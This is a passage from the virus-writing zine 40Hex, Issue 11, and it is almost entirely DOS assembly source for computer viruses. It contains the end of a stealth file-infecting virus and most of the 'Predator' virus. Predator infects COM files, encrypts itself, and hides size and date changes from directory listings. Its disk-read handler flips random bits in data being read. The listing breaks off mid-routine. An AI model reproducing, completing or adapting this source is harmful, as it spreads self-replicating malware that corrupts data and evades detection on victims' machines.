  4328.                 mov     byte ptr cs:[bx+16h],0FFh ; change back to inc sp
  4329.                 mov     byte ptr cs:[bx+19h],0    ; and add dh,ah -- why?
  4330.                 pop     es
  4331.                 pop     bx
  4332.                 retn
  4333.  
  4334. handlegoEOF:
  4335.                 popf
  4336.                 cmp     cs:filehand,bx          ; currently working on this?
  4337.                 jne     handlegoEOFexit
  4338.                 mov     cs:tempstoreDX,dx       ; save offset from EOF
  4339.                 mov     cs:tempstoreCX,cx
  4340.                 xor     cx,cx
  4341.                 xor     dx,dx
  4342.                 call    callint21               ; go to EOF
  4343.                 sub     ax,viruslength          ; shrink to carrier size
  4344.                 sbb     dx,0
  4345.                 mov     cx,ax
  4346.                 xchg    cx,dx
  4347.                 add     dx,cs:tempstoreDX       ; add offset from carrier
  4348.                 adc     cx,cs:tempstoreCX       ; EOF
  4349.                 mov     ax,4200h                ; and do it
  4350. handlegoEOFexit:
  4351.                 jmp     dword ptr cs:oldint21
  4352.  
  4353. handleopen2:
  4354.                 call    dword ptr cs:oldint21
  4355.                 pushf
  4356.                 push    ax
  4357.                 push    bx
  4358.                 push    cx
  4359.                 push    dx
  4360.                 push    di
  4361.                 push    si
  4362.                 push    ds
  4363.                 push    es
  4364.                 jc      handleopen2_exit
  4365.                 cmp     cs:filehand,0
  4366.                 jne     handleopen2_exit
  4367.                 push    ax
  4368.                 mov     bx,ax
  4369.                 call    checkifinfected
  4370.                 pop     ax
  4371.                 jc      handleopen2_alreadyinfected
  4372.                 mov     cs:filehand,ax          ; save file handle for
  4373.                 mov     bx,ax                   ; later use
  4374.                 mov     ax,4202h                ; go to end of file
  4375.                 xor     cx,cx                   ; to find file size
  4376.                 xor     dx,dx
  4377.                 call    callint21
  4378.                 sub     ax,viruslength          ; calculate carrier
  4379.                 sbb     dx,0                    ; size and store it
  4380.                 mov     cs:carrierEOFhi,dx
  4381.                 mov     cs:carrierEOFlo,ax
  4382. handleopen2_alreadyinfected:
  4383.                 xor     cx,cx                   ; go to start of file
  4384.                 xor     dx,dx
  4385.                 mov     ax,4200h
  4386.                 call    callint21
  4387. handleopen2_exit:
  4388.                 pop     es
  4389.                 pop     ds
  4390.                 pop     si
  4391.                 pop     di
  4392.                 pop     dx
  4393.                 pop     cx
  4394.                 pop     bx
  4395.                 pop     ax
  4396. exit_replaceflags:
  4397.                 popf
  4398.                 pop     cs:storesIP
  4399.                 pop     cs:storesCS
  4400.                 pop     cs:returnFlags
  4401.                 pushf
  4402.                 push    cs:storesCS
  4403.                 push    cs:storesIP
  4404.                 iret
  4405. handleread_exit:
  4406.                 jmp     handleread__exit
  4407.  
  4408. handleread:
  4409.                 call    dword ptr cs:oldint21   ; prechain
  4410.                 pushf
  4411.                 push    ax
  4412.                 push    cx
  4413.                 push    dx
  4414.                 push    ds
  4415.                 push    di
  4416.                 push    si
  4417.                 push    es
  4418.                 jc      handleread_exit         ; exit on error
  4419.                 cmp     cs:filehand,0
  4420.                 je      handleread_exit
  4421.                 cmp     cs:filehand,bx
  4422.                 jne     handleread_exit
  4423.                 mov     cs:bufferoff,dx
  4424.                 mov     cs:bufferseg,ds
  4425.                 mov     cs:bytesread,ax
  4426.                 xor     cx,cx                   ; get current file position
  4427.                 xor     dx,dx
  4428.                 mov     ax,4201h
  4429.                 call    callint21
  4430.                 jc      handleread_exit
  4431.                 sub     ax,cs:bytesread         ; find pre-read location
  4432.                 sbb     dx,0                    ; to see if need to
  4433.                 mov     cs:origposhi,dx         ; redirect it
  4434.                 mov     cs:origposlo,ax
  4435.                 mov     ax,4202h                ; go to end of file
  4436.                 xor     cx,cx
  4437.                 xor     dx,dx
  4438.                 call    callint21
  4439.                 sub     ax,viruslength
  4440.                 sbb     dx,0
  4441.                 mov     cs:carrierEOFlo,ax
  4442.                 mov     cs:carrierEOFhi,dx
  4443.                 cmp     cs:origposhi,0          ; check if read was
  4444.                 jne     handleread_notinheader  ; from the header
  4445.                 cmp     cs:origposlo,18h
  4446.                 jb      handleread_inheader
  4447. handleread_notinheader:
  4448.                 mov     cx,cs:origposhi         ; check if read extended
  4449.                 mov     dx,cs:origposlo         ; into the virus
  4450.                 add     dx,cs:bytesread
  4451.                 adc     cx,0
  4452.                 cmp     cx,cs:carrierEOFhi
  4453.                 jb      handleread_notinvirus
  4454.                 ja      handleread_invirus
  4455.                 cmp     dx,cs:carrierEOFlo
  4456.                 ja      handleread_invirus
  4457. handleread_notinvirus:
  4458.                 mov     cx,cs:origposhi         ; return to proper file
  4459.                 mov     dx,cs:origposlo         ; position
  4460.                 add     dx,cs:bytesread
  4461.                 adc     cx,0
  4462.                 mov     ax,4200h
  4463.                 call    callint21
  4464. handleread__exit:
  4465.                 pop     es
  4466.                 pop     si
  4467.                 pop     di
  4468.                 pop     ds
  4469.                 pop     dx
  4470.                 pop     cx
  4471.                 pop     ax
  4472.                 jmp     exit_replaceflags
  4473. handleread_invirus:
  4474.                 jmp     handleread__invirus
  4475. handleread_inheader:
  4476.                 cmp     cs:bytesread,0
  4477.                 je      handleread_notinheader
  4478.                 mov     cx,cs:carrierEOFhi
  4479.                 mov     dx,cs:carrierEOFlo
  4480.                 add     dx,offset savebuffer
  4481.                 adc     cx,0
  4482.                 mov     ax,4200h
  4483.                 call    callint21
  4484.                 jc      handleread_notinheader
  4485.                 push    ds
  4486.                 pop     es
  4487.                 push    cs
  4488.                 pop     ds
  4489.                 mov     dx,offset savebuffer
  4490.                 mov     ah,3Fh                  ; Read header
  4491.                 mov     cx,18h
  4492.                 call    callint21
  4493.                 jc      handleread_notinheader
  4494.                 cmp     ax,18h
  4495.                 jne     handleread_notinheader
  4496.                 mov     cx,cs:carrierEOFhi      ; go to decryption values
  4497.                 mov     dx,cs:carrierEOFlo
  4498.                 add     dx,offset encryptval1
  4499.                 adc     cx,0
  4500.                 mov     ax,4200h
  4501.                 call    callint21
  4502.                 mov     ah,3Fh                  ; read decryption values
  4503.                 mov     cx,2
  4504.                 mov     dx,offset encryptval1
  4505.                 call    callint21
  4506.                 jc      handleread_inheader_error
  4507.                 mov     si,offset savebuffer
  4508.                 mov     ah,byte ptr cs:encryptval1
  4509.                 mov     dh,byte ptr cs:encryptval2
  4510.                 call    decrypt
  4511.                 mov     cx,cs:origposlo
  4512.                 neg     cx
  4513.                 add     cx,18h
  4514.                 cmp     cx,cs:bytesread
  4515.                 jb      handleread_inheader_noadjust
  4516.                 mov     cx,cs:bytesread
  4517. handleread_inheader_noadjust:
  4518.                 mov     si,offset savebuffer    ; copy previously read
  4519.                 add     si,cs:origposlo         ; stuff if necessary
  4520.                 mov     di,cs:bufferoff
  4521.                 mov     es,cs:bufferseg
  4522.                 cld
  4523.                 cmp     cx,0
  4524.                 je      handleread_inheader_nomove
  4525.                 rep     movsb
  4526. handleread_inheader_nomove:
  4527.                 jmp     handleread_notinheader
  4528. handleread_inheader_error:
  4529.                 jmp     handleread_notinheader
  4530. handleread__invirus:
  4531.                 mov     cx,cs:origposhi
  4532.                 cmp     cx,cs:carrierEOFhi
  4533.                 ja      handleread__invirus_gocarrierEOF
  4534.                 jc      handleread__invirus_readpart
  4535.                 mov     cx,cs:origposlo
  4536.                 cmp     cx,cs:carrierEOFlo
  4537.                 jb      handleread__invirus_readpart
  4538. handleread__invirus_gocarrierEOF:
  4539.                 mov     cx,cs:origposhi
  4540.                 mov     dx,cs:origposlo
  4541.                 mov     ax,4200h
  4542.                 call    callint21
  4543.                 xor     ax,ax
  4544. handleread__invirus_exit:
  4545.                 pop     es
  4546.                 pop     si
  4547.                 pop     di
  4548.                 pop     ds
  4549.                 pop     dx
  4550.                 pop     cx
  4551.                 pop     cs:returnFlags
  4552.                 jmp     exit_replaceflags
  4553. handleread__invirus_readpart:
  4554.                 mov     cx,cs:carrierEOFhi      ; read portion of
  4555.                 mov     dx,cs:carrierEOFlo      ; file up to virus
  4556.                 mov     ax,4200h
  4557.                 call    callint21
  4558.                 sub     ax,cs:origposlo
  4559.                 jmp     short handleread__invirus_exit
  4560. handlewrite:
  4561.                 cmp     bx,0
  4562.                 je      handlewrite_exit
  4563.                 cmp     bx,cs:filehand
  4564.                 jne     handlewrite_exit
  4565.                 mov     ax,4201h                ; get current position
  4566.                 xor     cx,cx                   ; in the file
  4567.                 xor     dx,dx
  4568.                 call    callint21
  4569.                 jc      handlewrite_exit
  4570.                 mov     cs:curposlo,ax
  4571.                 mov     cs:curposhi,dx
  4572.                 mov     ax,4202h                ; go to end of file
  4573.                 xor     cx,cx                   ; to find the filesize
  4574.                 xor     dx,dx
  4575.                 call    callint21
  4576.                 mov     cs:filesizelo,ax
  4577.                 mov     cs:filesizehi,dx
  4578.                 call    disinfect               ; disinfect the file
  4579.                 jc      handlewrite_done
  4580.                 cmp     cs:handletoinfect,0
  4581.                 jne     handlewrite_done
  4582.                 mov     cs:handletoinfect,bx
  4583.                 mov     cs:filehand,0
  4584. handlewrite_done:
  4585.                 mov     dx,cs:curposlo          ; return to original
  4586.                 mov     cx,cs:curposhi          ; position
  4587.                 mov     ax,4200h
  4588.                 call    callint21
  4589. handlewrite_exit:
  4590.                 jmp     exitint21
  4591.  
  4592. terminate:
  4593.                 mov     cs:chkdskflag,0
  4594.                 jmp     exitint21
  4595.  
  4596. check_chkdsk:
  4597.                 mov     si,dx
  4598.                 cld
  4599. check_chkdsk_loop1:
  4600.                 lodsw
  4601.                 cmp     ah,0
  4602.                 je      check_chkdsk_exit
  4603.                 cmp     ax,'HC'
  4604.                 je      check_chkdsk_loop2
  4605.                 cmp     ax,'hc'
  4606.                 je      check_chkdsk_loop2
  4607.                 dec     si
  4608.                 jmp     short check_chkdsk_loop1
  4609. check_chkdsk_exit:
  4610.                 retn
  4611. check_chkdsk_loop2:
  4612.                 push    si
  4613.                 lodsw
  4614.                 cmp     ax,'DK'
  4615.                 pop     si
  4616.                 jz      check_chkdsk_found
  4617.                 cmp     ax,'dk'
  4618.                 je      check_chkdsk_found
  4619.                 dec     si
  4620.                 jmp     short check_chkdsk_loop1
  4621. check_chkdsk_found:
  4622.                 mov     cs:chkdskflag,1
  4623.                 retn
  4624.  
  4625. getsetfiletime:
  4626.                 cmp     al,0                    ; get file tiem?
  4627.                 jne     getsetfiletime_exit     ; nope, exit
  4628.                 call    dword ptr cs:oldint21   ; prechain
  4629.                 pushf
  4630.                 and     cx,1Eh                  ; if (seconds == 60)
  4631.                 cmp     cx,1Eh                  ; then xor with 60h
  4632.                 jne     getsetfiletime_nofix    ; to hide the change
  4633.                 xor     cx,1Eh                  ; otherwise, don't
  4634. getsetfiletime_nofix:
  4635.                 jmp     exit_replaceflags
  4636. getsetfiletime_exit:
  4637.                 popf
  4638.                 jmp     dword ptr cs:oldint21
  4639.  
  4640.                 db      '(c) 1990 by SVC,Vers. '
  4641.  
  4642.  
  4643.  
  4644. infection_marker db      '5.0 ',0
  4645.  
  4646. begindata:
  4647. oldint1         dw      0, 0
  4648. oldint3         dw      0, 0
  4649. oldint8         dw      0, 0
  4650. oldint21        dw      0, 0
  4651. savebuffer      dw      20CDh
  4652.                 dw      11 dup (0)
  4653. tickcount       db      0
  4654. carrierPSP      dw      0
  4655. origposlo       dw      0
  4656. origposhi       dw      0
  4657. carrierEOFlo    dw      0
  4658. carrierEOFhi    dw      0
  4659. bytesread       dw      0
  4660. bufferoff       dw      0
  4661. bufferseg       dw      0
  4662. tempstoreCX     dw      0
  4663. tempstoreDX     dw      0
  4664. filehand        dw      0
  4665. fileattr        dw      0
  4666. filetime        dw      0
  4667. filedate        dw      0
  4668. chkdskflag      dw      0
  4669. oldint24        dw      0, 0
  4670. oldint23        dw      0, 0
  4671. handletoinfect  dw      0
  4672. storesIP        dw      0
  4673. storesCS        dw      0
  4674. returnFlags     dw      0
  4675. filesizelo      dw      0
  4676. filesizehi      dw      0
  4677. curposlo        dw      0
  4678. curposhi        dw      0
  4679. workbuffer      dw      12 dup (0)
  4680. storeAX         dw      0
  4681.                 db      0
  4682. storess         dw      0
  4683. storesp         dw      0
  4684. int21command    dw      0
  4685. encryptval1     db      0
  4686. encryptval2     db      0
  4687.                 dw      1990h ; written 1990
  4688. versionbyte     db      50h   ; version 5.0
  4689.  
  4690. endvirus        =       $
  4691. viruslength     =       $ - start
  4692.                 end     start
  4693. -------------------------------------------------------------------------------
  4694.  
  4695. 40Hex Issue 11 Volume 3 Number 2                                      File 008
  4696.  
  4697.                                    Predator
  4698.  
  4699.      Predator is a virus written by Phalcon/Skism's newest member, Priest.  It
  4700. incorporates a number of stealth features.  It infects only COM files.
  4701. Predator uses the "Century" technique of marking a virus infection; file dates
  4702. are bumped up 100 years to designate an infection.
  4703.  
  4704. --Predator Source Code---------------------------------------------------------
  4705. CSEG SEGMENT
  4706.      ASSUME CS:CSEG, ES:CSEG, SS:CSEG
  4707.      ORG 0h
  4708.  
  4709. ;                        Source code of the Predator
  4710.  
  4711. ;                                  Priest
  4712.  
  4713.  
  4714. Its_Me          equ 'IM'
  4715.  
  4716. Read_Only       equ 1
  4717.  
  4718. Mem_Size        equ offset Finish-offset Virus_Start    ;amount of memory needed
  4719.                                                         
  4720. Virus_Size      equ offset Virus_End-offset Virus_Start ;size of virus
  4721. New_Virus_Size  equ offset Finish-offset New_Virus      ;size of virus w/
  4722.                                                         ;encryption
  4723.  
  4724.  
  4725. Hundred_Years   equ 0c8h
  4726.  
  4727. Version         equ 30h                   ;Get DOS Version
  4728. Open            equ 3dh                   ;Open File
  4729. Ext_Open        equ 6ch                   ;Extended Open File
  4730. Execute         equ 4bh                   ;Execute
  4731. Find_FCB        equ 11h                   ;Find File Control Block
  4732. Find_FCB_Next   equ 12h                   ;Find next FCB
  4733. Open_FCB        equ 0fh                   ;Open FCB
  4734. Get_DTA         equ 2fh                   ;Get DTA address
  4735. Find_Dir        equ 4eh                   ;Find file
  4736. Find_Dir_Next   equ 4fh                   ;Find next file
  4737.  
  4738. Attribute       equ 1                     ;infection flags
  4739. Opened          equ 2
  4740. Written         equ 4
  4741.  
  4742. Extended_FCB    equ 0ffh                  ;Extended FCB will have the first
  4743.                                           ;byte equal to FFh
  4744.  
  4745. Virus_Start:    mov sp,bp                 ;restore Stack after decryption
  4746.                 sti                       ;interrupts on
  4747.                 mov ah,Version
  4748.                 mov bx,Its_Me
  4749.                 int 21h                   ;Check if already resident
  4750.                 cmp ax,Its_Me
  4751.                 jne Go_Res
  4752. Jump_R_F:       jmp Return_File
  4753. Go_Res:         mov ax,cs                 
  4754.                 dec ax                    ;get segment of this MCB
  4755. MCB_ds:         mov ds,ax
  4756.                 cmp byte ptr ds:[0],'Z'   ;must be last Memory Control Block
  4757.                 jne Jump_R_F
  4758. Found_last_MCB: mov ax,Mem_Size           ;Reserve enough for virus + data
  4759.                 mov cl,4h                 
  4760.                 shr ax,cl                 ;convert to paragraphs
  4761.                 inc ax
  4762.                 push ax
  4763.                 dec ax
  4764.                 shr ax,cl
  4765.                 shr cl,1
  4766.                 shr ax,cl                 ;convert to kilobytes
  4767.                 inc ax                    
  4768.                 push ds
  4769.                 xor bx,bx
  4770.                 mov ds,bx
  4771.                 sub word ptr ds:[413h],ax  ;take memory from int 12
  4772.                 pop ds
  4773.                 pop ax
  4774.                 sub word ptr ds:[0003h],ax  ;take it from availible memory
  4775.                 mov ax,cs
  4776.                 add ax,ds:[0003h]         ;get segment of free memory
  4777.                 mov es,ax
  4778.                 push cs
  4779.                 pop ds
  4780.                 call $+3             ;next 3 instructions find Virus_Start
  4781.                 pop si
  4782.                 sub si,(offset $-1)-offset Virus_Start
  4783.                 xor di,di
  4784.                 mov cx,Mem_Size
  4785.                 cld
  4786.                 rep movsb                 ;copy us to High Memory
  4787.                 push es
  4788.                 mov ax,offset High_Start
  4789.                 push ax
  4790.                 retf                      ;jump up there
  4791.  
  4792. Virus_Name:     db 'Predator virus  ' 
  4793. Copyright:      db '(c) Mar. 93  '
  4794. Me:             db 'Priest' 
  4795.  
  4796. File_Bytes      db 0cdh, 20h, 0h       ;first 3 bytes of infected .com file
  4797.  
  4798. Com_Spec:       db '.COM',0h           ;only .com files can be infected
  4799.  
  4800. High_Start:     push cs
  4801.                 pop ds
  4802.                 mov ax,3521h           ;get address of Int 21
  4803.                 int 21h
  4804.                 mov word ptr ds:[Int_21],bx      ;save it 
  4805.                 mov word ptr ds:[Int_21+2h],es
  4806.                 mov al,13h              ;get address of Int 13
  4807.                 int 21h
  4808.                 mov word ptr ds:[Int_13],bx     ;save it
  4809.                 mov word ptr ds:[Int_13+2h],es
  4810.                 mov ah,25h                   ;point Int 13 to our handler
  4811.                 mov dx,offset New_13
  4812.                 int 21h
  4813.                 mov al,21h                   ;21h too
  4814.                 mov dx,offset New_21
  4815.                 int 21h   
  4816.                 xor ax,ax
  4817.                 mov ds,ax
  4818.                 mov ax,ds:[46ch]             ;get a random number for 
  4819.                 push cs                      ; activation task
  4820.                 pop ds
  4821.                 xchg al,ah
  4822.                 add word ptr ds:[Count_Down],ax     ;Save it for count down
  4823. Return_File:    push ss
  4824.                 pop es
  4825.                 mov di,100h
  4826.                 call $+3      ;get address of first 3 bytes of .com file
  4827.                 pop si
  4828.                 sub si,(offset $-1)-offset File_Bytes
  4829.                 push ss
  4830.                 push di
  4831.                 cld
  4832.                 movsw                           ;move them
  4833.                 movsb
  4834.                 push ss
  4835.                 pop ds
  4836.                 xor ax,ax
  4837.                 retf                           ;jump to original program
  4838.  
  4839.  
  4840.  
  4841. New_21:         cmp ah,Open                    ;check function
  4842.                 je Infect
  4843.                 cmp ah,Ext_Open
  4844.                 je Ext_File_Open
  4845.                 cmp ah,Execute
  4846.                 je Infect
  4847.                 cmp ah,Find_FCB
  4848.                 je Stealth_FCB
  4849.                 cmp ah,Find_FCB_Next
  4850.                 je Stealth_FCB
  4851.                 cmp ah,Open_FCB
  4852.                 je Stealth_FCB_O
  4853.                 cmp ah,Find_Dir
  4854.                 je Stealth_Dir
  4855.                 cmp ah,Find_Dir_Next
  4856.                 je Stealth_Dir
  4857.                 cmp ah,Version         ;other checking for us
  4858.                 jne Jump_21
  4859.                 cmp bx,Its_Me
  4860.                 jne Jump_21
  4861.                 mov ax,bx               ;tell other that we're here
  4862. Ret_21:         retf 0002h
  4863. Jump_21:        jmp cs:Int_21
  4864.  
  4865. Stealth_Dir:    jmp Hide_Find
  4866. Stealth_FCB:    jmp Hide_FCB
  4867. Stealth_FCB_O:  jmp Hide_FCB_O
  4868.  
  4869. Infect_Error_J: jmp Infect_Error
  4870. Ext_File_Open:  mov word ptr cs:[File_Pnt],si     ;Extended open uses DS:SI
  4871.                 jmp short Infect_ds
  4872. Infect:         mov word ptr cs:[File_Pnt],dx   ;Open & Execute use DS:DX
  4873. Infect_ds:      mov word ptr cs:[File_Pnt+2h],ds
  4874.                 mov byte ptr cs:[Infect_Status],0h  ;zero out progress byte
  4875.                 call Push_All                    ;Push all registers
  4876.                 call Hook_24    ;Hook Int 24 to avoid errors being displayed
  4877.                 call Is_Com                ;Is it a .com file?
  4878.                 jb Infect_Error_J          ;Carry flag set if it is not
  4879.                 lds dx,cs:[File_Pnt]       ;get saved address of file name
  4880.                 mov ax,4300h             ;fetch the attribute
  4881.                 push ax
  4882.                 call Old_21
  4883.                 pop ax
  4884.                 jb Infect_Error_J
  4885.                 mov byte ptr cs:[File_Attr],cl  ;save attribute
  4886.                 test cl,Read_Only   ;no need to change if not read only
  4887.                 je No_Attr_Rem
  4888.                 xor cx,cx
  4889.                 inc al
  4890.                 call Old_21                 ;if read only, then zero out
  4891.                 jb Infect_Error_J
  4892.                 or byte ptr cs:[Infect_Status],Attribute ;update progress byte
  4893. No_Attr_Rem:    mov ax,3dc2h              ;open with write/compatibility
  4894.                 call Old_21
  4895.                 jb Infect_Error_J
  4896.                 xchg ax,bx                ;handle into bx
  4897.                 push cs
  4898.                 pop ds
  4899.                 or byte ptr ds:[Infect_Status],Opened ;update progress byte
  4900.                 mov ax,5700h                      ;get date
  4901.                 call Old_21
  4902.                 cmp dh,Hundred_Years            ;is it infected?
  4903.                 jnb Infect_Error
  4904.                 add dh,Hundred_Years            ;else add 100 years to date
  4905.                 mov word ptr ds:[File_Date],dx  ;save modified date
  4906.                 mov word ptr ds:[File_Time],cx
  4907.                 mov ah,3fh                      ;read first 3 bytes
  4908.                 mov cx,3h
  4909.                 mov dx,offset File_Bytes
  4910.                 call Old_21
  4911.                 cmp ax,cx                     ;if error, then quit
  4912.                 jne Infect_Error
  4913.                 cmp word ptr ds:[File_Bytes],'MZ' ;no .exe files 
  4914.                 je Infect_Error
  4915.                 cmp word ptr ds:[File_Bytes],'ZM'
  4916.                 je Infect_Error
  4917.                 mov al,2                ;set file pointer to end of file
  4918.                 call Set_Pnt
  4919.                 or dx,dx                ;too big?
  4920.                 jne Infect_Error
  4921.                 cmp ax,1000             ;too small?
  4922.                 jb Infect_Error
  4923.                 cmp ax,0-2000           ;still too big?
  4924.                 ja Infect_Error
  4925.                 mov di,offset Jump_Bytes    ;make a jump to end of file
  4926.                 push ax
  4927.                 add ax,100h          ;these two are for the encryption
  4928.                 mov word ptr ds:[Decrypt_Start_Off+1],ax
  4929.                 push cs
  4930.                 pop es
  4931.                 mov al,0e9h           ;e9h = JMP xxxx
  4932.                 cld
  4933.                 stosb
  4934.                 pop ax
  4935.                 sub ax,3h             ; to end of file
  4936.                 stosw
  4937.                 call Encrypt_Virus    ;encrypt the virus
  4938.                 mov ah,40h            ;write the encrypted virus and the
  4939.                                       ;decryption routine to file
  4940.                 mov dx,offset New_Virus
  4941.                 mov cx,New_Virus_Size
  4942.                 call Old_21
  4943.                 jb Infect_Error
  4944.                 or byte ptr ds:[Infect_Status],Written ;update progress byte
  4945.                 xor al,al                              ;set file pointer to 
  4946.                 call Set_Pnt                           ;beginning of file
  4947.                 mov ah,40h                             ;write the jump
  4948.                 mov dx,offset Jump_Bytes
  4949.                 mov cx,3h
  4950.                 call Old_21
  4951. Infect_Error:   test byte ptr cs:[Infect_Status],Opened ;was file opened?
  4952.                 je Set_Attr
  4953.                 test byte ptr cs:[Infect_Status],Written ;was file written to?
  4954.                 je Close
  4955.                 mov ax,5701h            ;if infected, restore modified date
  4956.                 mov dx,cs:[File_Date]
  4957.                 mov cx,ds:[File_Time]
  4958.                 call Old_21
  4959. Close:          mov ah,3eh                ;close file
  4960.                 call Old_21
  4961. Set_Attr:       test byte ptr cs:[Infect_Status],Attribute ;attribute changed?
  4962.                 je Jump_Old_21
  4963.                 mov ax,4301h              ;if changed, then restore it
  4964.                 xor cx,cx
  4965.                 mov cl,cs:[File_Attr]
  4966.                 lds dx,cs:[File_Pnt]
  4967.                 call Old_21
  4968. Jump_Old_21:    call Unhook_24           ;unhook Int 24
  4969.                 call Pop_All             ;pop all registers
  4970.                 jmp Jump_21              ;jump to original int 21
  4971.  
  4972. Set_Pnt:        mov ah,42h               ;set file pointer w/ al as parameter
  4973.                 xor cx,cx
  4974.                 cwd                      ;zero out dx
  4975.                 call Old_21
  4976.                 retn
  4977.  
  4978.  
  4979. Pop_All:        pop word ptr cs:[Ret_Add]  ;save return address
  4980.                 pop es
  4981.                 pop ds
  4982.                 pop si
  4983.                 pop di
  4984.                 pop bp
  4985.                 pop dx
  4986.                 pop cx
  4987.                 pop bx
  4988.                 pop ax
  4989.                 popf
  4990.                 jmp cs:[Ret_Add]          ;jump to return address
  4991.  
  4992. Push_All:       pop word ptr cs:[Ret_Add] ;save return address
  4993.                 pushf
  4994.                 push ax
  4995.                 push bx
  4996.                 push cx
  4997.                 push dx
  4998.                 push bp
  4999.                 push di
  5000.                 push si
  5001.                 push ds
  5002.                 push es
  5003.                 jmp cs:[Ret_Add]       ;jump to return address
  5004.  
  5005.  
  5006. Hook_24:        call Push_All          ;push all registers
  5007.                 mov ax,3524h           ;get int 24 address
  5008.                 call Old_21
  5009.                 mov word ptr cs:[Int_24],bx   ;save address
  5010.                 mov word ptr cs:[Int_24+2h],es
  5011.                 mov ah,25h                     ;set new address to us
  5012.                 push cs
  5013.                 pop ds
  5014.                 mov dx,offset New_24
  5015.                 call Old_21
  5016.                 call Pop_All           ;pop all registers
  5017.                 retn
  5018.  
  5019. Unhook_24:      call Push_All
  5020.                 mov ax,2524h          ;set old address back
  5021.                 lds dx,cs:[Int_24]
  5022.                 Call Old_21
  5023.                 call Pop_All
  5024.                 retn
  5025.  
  5026. New_24:         mov al,3h          ;int 24, fail
  5027.                 iret
  5028.  
  5029. Old_21:         pushf              ;call to original int 21
  5030.                 call cs:Int_21
  5031.                 retn
  5032.  
  5033. ;Hide_Find hides the file size increase for functions 4eh and 4fh and the
  5034. ;date change
  5035.  
  5036.  
  5037. Hide_Find:      call Old_21         ;do the search
  5038.                 call Push_All       ;push all registers
  5039.                 jb Hide_File_Error
  5040.                 mov ah,2fh          ;get DTA address
  5041.                 call Old_21
  5042.                 cmp byte ptr es:[bx.DTA_File_Date+1h],Hundred_Years  ;Is it
  5043.                 jb Hide_File_Error                              ;infected?
  5044.                 sub byte ptr es:[bx.DTA_File_Date+1h],Hundred_Years ;Take
  5045.                                         
  5046.                                         ;away 100 years from date
  5047.                 
  5048.                 sub word ptr es:[bx.DTA_File_Size],New_Virus_Size   ;take
  5049.                                         
  5050.                                         ;away Virus_Size from file size
  5051.  
  5052.                 sbb word ptr es:[bx.DTA_File_Size+2],0    ;subtract remainder
  5053.                                         
  5054.                                         ;although there will not be one
  5055.                                         ; I included it for expandibility 
  5056.                                         ; (i.e. infecting .exe files)
  5057. Hide_File_Error:call Pop_All            ;pop all registers
  5058.                 jmp Ret_21
  5059.  
  5060. ;Hide_FCB hides the file size increase for functions 11h and 12h and the
  5061. ;date change
  5062.  
  5063.  
  5064. Hide_FCB:       call Old_21        ;find file
  5065.                 call Push_All      ;push registers
  5066.                 or al,al           ;al=0 if no error
  5067.                 jne Hide_FCB_Error
  5068.                 mov ah,Get_DTA     ;get address of DTA
  5069.                 call Old_21
  5070.                 cmp byte ptr ds:[bx],Extended_FCB   ;is it an extended FCB?
  5071.                 jne Hide_FCB_Reg
  5072.                 add bx,7h            ;yes, add 7 to address to skip garbage
  5073.  
  5074. Hide_FCB_Reg:   cmp byte ptr es:[bx.DS_Date+1h],Hundred_Years ;Is it infected?
  5075.                 jb Hide_FCB_Error
  5076.                 sub byte ptr es:[bx.DS_Date+1h],Hundred_Years  ;yes, restore
  5077.                                                 ;date
  5078.  
  5079.                 sub word ptr es:[bx.DS_File_Size],New_Virus_Size ;fix size
  5080.                 sbb word ptr es:[bx.DS_File_Size+2],0  ;and remainder
  5081. Hide_FCB_Error: call Pop_All                    ;pop all registers
  5082.                 jmp Ret_21
  5083.  
  5084. ;Hide_FCB_O hides the file size increase for function 0fh and the
  5085. ;date change
  5086.  
  5087. Hide_FCB_O:     call Old_21               ;open FCB 
  5088.                 call Push_All             ;push all registers
  5089.                 cmp al,0h                 ;al=0 if opened, else error
  5090.                 jne Hide_FCB_O_Error
  5091.                 mov bx,dx                 ;pointer into bx
  5092.  
  5093.                 cmp byte ptr ds:[bx],Extended_FCB ;is it an extended FCB?
  5094.                 jne Hide_FCB_No_E
  5095.                 add bx,7h            ;yes, add 7 to skip garbage
  5096.  
  5097. Hide_FCB_No_E:  cmp byte ptr ds:[bx.FCB_File_Date+1h],Hundred_Years ;infected?
  5098.                 jb Hide_FCB_O_Error
  5099.                 sub byte ptr ds:[bx.FCB_File_Date+1h],Hundred_Years ;yes,
  5100.                                                 ;fix date
  5101.  
  5102.                 sub word ptr ds:[bx.FCB_File_Size],New_Virus_Size ;fix size
  5103.                 sbb word ptr ds:[bx.FCB_File_Size+2h],0  ;and remainder
  5104. Hide_FCB_O_Error:call Pop_All         ;pop all registers
  5105.                 jmp Ret_21
  5106.  
  5107. Is_Com:         push cs
  5108.                 pop ds
  5109.                 les di,ds:[File_Pnt]  ;get address of file
  5110.                 xor al,al
  5111.                 mov cx,7fh
  5112.                 cld
  5113.                 repne scasb           ;scan for null byte at end of file name
  5114.                 cmp cx,7fh-5h        ;must be at least 5 bytes long, 
  5115.                                      ;including ext. (.COM)
  5116.                 jnb Is_Not_Com
  5117.                 mov cx,5h            ;compare last five bytes to ".COM",0
  5118.                 sub di,cx
  5119.                 mov si,offset Com_Spec  ;offset of ".COM",0
  5120.                 cld
  5121.                 rep cmpsb             ;compare them
  5122.                 jne Is_Not_Com
  5123.                 clc                   ;if .com file, then clear carry flag
  5124.                 retn
  5125. Is_Not_Com:     stc                   ;else set it
  5126.                 retn
  5127.  
  5128. ;This is the interrupt 13 handle, it's sole purpose is to complement a
  5129. ;random bit after a random number of sectors (1-65535) have been read.
  5130.  
  5131.  
  5132. New_13:         cmp ah,2h             ;Is a sector going to be read
  5133.                 je Read_Sector
  5134. Jump_13:        jmp cs:Int_13         ;no, continue on
  5135. Ret_13:         call Pop_All          ;pop all registers
  5136.                 retf 0002h
  5137. Read_Sector:    mov byte ptr cs:[Sub_Value],al  ;save number of sectors read
  5138.                 pushf
  5139.                 call cs:Int_13                  ;read the sectors
  5140.                 call Push_All                   ;push flags
  5141.                 jb Ret_13                       ;jump if error to return
  5142.                 mov al,cs:[Sub_Value]           ;get number of sectors read
  5143.                 cbw
  5144.                 sub word ptr cs:[Count_Down],ax ;subtract it from our count
  5145.                 ja Ret_13                       ;down
  5146.                 mov bx,200h                     ;200h bytes per sector
  5147.                 cwd                             ;zero dx
  5148.                 mul bx                          ;mul # of sectors by 200
  5149.                 dec ax                          ;minus one
  5150.                 xor cx,cx
  5151.                 mov ds,cx
  5152.                 mov cx,ds:[46ch]                ;get random value
  5153.                 mov word ptr cs:[Count_Down],cx ;move it into count down
  5154.                 push cx
  5155.                 and cx,ax                       ;cx must be < ax
  5156.                 add bx,cx                       ;add it to the address of 
  5157.                 pop cx                          ;where the sectors were read
